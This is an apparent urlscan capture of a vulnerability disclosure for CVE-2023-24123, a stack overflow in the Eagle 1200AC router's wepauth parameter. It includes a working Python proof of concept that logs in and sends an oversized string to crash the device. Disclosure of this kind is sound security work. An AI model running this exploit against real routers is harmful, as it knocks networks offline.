oxnan.com
Open in
urlscan Pro
2a06:98c1:3120::3
Public Scan
URL:
https://oxnan.com/posts/WifiBasic_wepauth_DoS
Submission: On March 08 via api from US — Scanned from NL
Submission: On March 08 via api from US — Scanned from NL
Form analysis
0 forms found in the DOMText Content
* Home * About [CVE-2023-24123] DOS VIA WEPAUTH PARAMETER IN EAGLE 1200AC DESCRIPTION Jensen of Scandinavia Eagle 1200AC V15.03.06.33_en was discovered to contain a stack overflow via the wepauth parameter at /goform/WifiBasicSet. ADDITIONAL INFORMATION In the handler function for action /goform/WifiBasicSet (formWifiBasicSet), the user-controlled string wepauth is stored into wl2g.extra.wep_type via SetValue. When then calling /goform/WifiBasicGet (formWifiBasicGet), the string is loaded from wl2g.extra.wep_type and then stored into stack buffer wifi_buf_entry. Because the length of wepauth is not checked, the stack buffer can be overflowed if it is a large string. POC SCRIPT: import requests IP="192.168.38.1" logindata = { "username":"admin", "password":"81dc9bdb52d04dc20036dbd8313ed055" } def login(): for i in range(10): session = requests.Session() res = session.post(f"http://{IP}/login/Auth", data=logindata) try: passwd = session.cookies["password"] return passwd except: pass session = requests.Session() session.cookies.set("password",login()) payload = { "wepauth" : "A"*(0x1000), "security" : "wep" } res = session.post(f"http://{IP}/goform/WifiBasicSet", data=payload) print(res.status_code) res = session.post(f"http://{IP}/goform/WifiBasicGet") print(res.text) print(res)